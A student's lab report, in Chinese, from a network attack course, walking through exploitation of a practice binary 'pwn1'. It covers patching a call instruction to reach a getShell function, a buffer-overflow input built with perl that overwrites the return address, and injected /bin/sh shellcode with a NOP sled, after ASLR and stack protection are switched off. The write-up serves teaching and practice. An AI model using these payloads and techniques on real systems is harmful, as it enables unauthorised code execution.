2019-2020-2 20175222 《网络对抗技术》 Exp1 PC平台逆向破解

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下：

    • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

  • 这几种思路，基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

基础知识

  • 熟悉Linux基本操作
    • 能看懂常用指令,如管道（|），输入、输出重定向（>）等。
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。

  • 指令、参数

    • 这些东西，我自己也记不住，都是用时现查的。
    • 所以一些具体的问题可以边做边查，但最重要的思路、想法不能乱。
    • 要时刻知道，我是在做什么？现在在查什么数据？改什么数据？要改成什么样？每步操作都要单独实践验证，再一步步累加为最终结果。

  • 操作成功不重要，照着敲入指令肯定会成功。

  • 重要的是理解思路。

    • 看指导理解思路，然后抛开指导自己做。
    • 碰到问题才能学到知识。
    • 具体的指令可以回到指导中查。

直接修改程序机器指令，改变程序执行流程

  • 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

  • 学习目标：理解可执行文件与机器指令

  • 进阶：掌握ELF文件格式，掌握动态技术

下载目标文件pwn1,反汇编。

  • 先看第12行，"call 8048491 "是汇编指令
    • 是说这条指令将调用位于地址8048491处的foo函数；
    • 其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
      • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，

  • main函数调用foo，对应机器指令为“ e8 d7ffffff”，

    • 那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
    • 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。

  • 下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

root@KaliYL:~# cp 20175222pwn1 20175222pwn2
root@KaliYL:~# vi 20175222pwn2
以下操作是在vi内
1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq




8.再反汇编看一下，call指令是否正确调用getShell

9.运行下改后的代码，会得到shell提示符#

3 通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取 进阶：掌握ELF文件格式，掌握动态技术

3.1 反汇编，了解程序的基本功能


root@KaliYL:~#  objdump -d pwn1 | more

 8048477:	90                   	nop
 8048478:	e9 73 ff ff ff       	jmp    80483f0 <register_tm_clones>

== 注意这个函数getShell，我们的目标是触发这个函数  ==

0804847d <getShell>:
 804847d:	55                   	push   %ebp
 804847e:	89 e5                	mov    %esp,%ebp
 8048480:	83 ec 18             	sub    $0x18,%esp
 8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)
 804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>
 804848f:	c9                   	leave  
 8048490:	c3                   	ret    

== 该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞  ==

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 804849a:	89 04 24             	mov    %eax,(%esp)
 
 == 这里读入字符串，但系统只预留了__字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 ==
 
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave  
 80484ae:	c3                   	ret    

080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>
 
 ==上面的call调用foo,同时在堆栈上压上返回地址值:__________== 
 
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 80484c3:	66 90                	xchg   %ax,%ax
 80484c5:	66 90                	xchg   %ax,%ax
 80484c7:	66 90                	xchg   %ax,%ax
 80484c9:	66 90                	xchg   %ax,%ax
 80484cb:	66 90                	xchg   %ax,%ax
 80484cd:	66 90                	xchg   %ax,%ax
 80484cf:	90                   	nop

080484d0 <__libc_csu_init>:

3.2 确认输入字符串哪几个字符会覆盖到返回地址

如果输入字符串122233455456676688a55687983221132edd456658，那 1222那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

root@KaliYL:~# perl -e 'print "122233455456676688a55687983221132edd456658\x7d\x84\x04\x08\x0a"' > input

关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

可以使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入，通过管道符“|”，作为pwn1的输入。

4. 注入Shellcode并执行

4.1 准备一段Shellcode

  • shellcode就是一段机器指令（code）
    • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

4.2 准备工作

修改些设置。这部分的解释请看第5小节Bof攻击防御技术.

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

4.3 构造要注入的payload。

  • Linux下有两种基本构造攻击buf的方法：
    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。
  • 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
  • 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
  • 我们这个buf够放这个shellcode了
  • 结构为：nops+shellcode+retaddr。
    • nop一为是了填充，二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒：最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

打开一个终端注入攻击buf,再开另外一个终端，用gdb来调试pwn1这个进程。

//1.找到pwn1的进程号是：7858



//2.启动gdb调试这个进程
//3. 通过设置断点，来查看注入buf的内存地址
//4.我决定将返回地址改为0xffffd300。

预设条件：

（1）关闭堆栈保护（gcc -fno-stack-protector）

（2）关闭堆栈执行保护(execstack -s)

（3）关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

（4）在x32环境下

（5）在Linux实践环境

总结

1. 实验收获与感想

第一次实验学习到了如何构造攻击，因为水平不高都是参照实践说明一步步来的，不过自己动手做一遍还是有很大的收获，也遇到一些低级错误，比如没有先运行，使用gdb pwn1直接进行调试，导致出错。 比如找错了进程号，应该是./pwn1的进程号。以后的实验会多加留意的。

2. 什么是漏洞？漏洞有什么危害？

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。

漏洞的存在，很容易导致黑客的侵入及病毒的驻留，会导致数据丢失和篡改、隐私泄露乃至金钱上的损失，如：网站因漏洞被入侵，网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。目前数码产品发展，漏洞从过去以电脑为载体延伸至数码平台，如手机二维码漏洞，安卓应用程序漏洞等等...

posted @ 2020-03-17 12:00  20175222罗雨石  阅读(117)  评论(0)  编辑  收藏  举报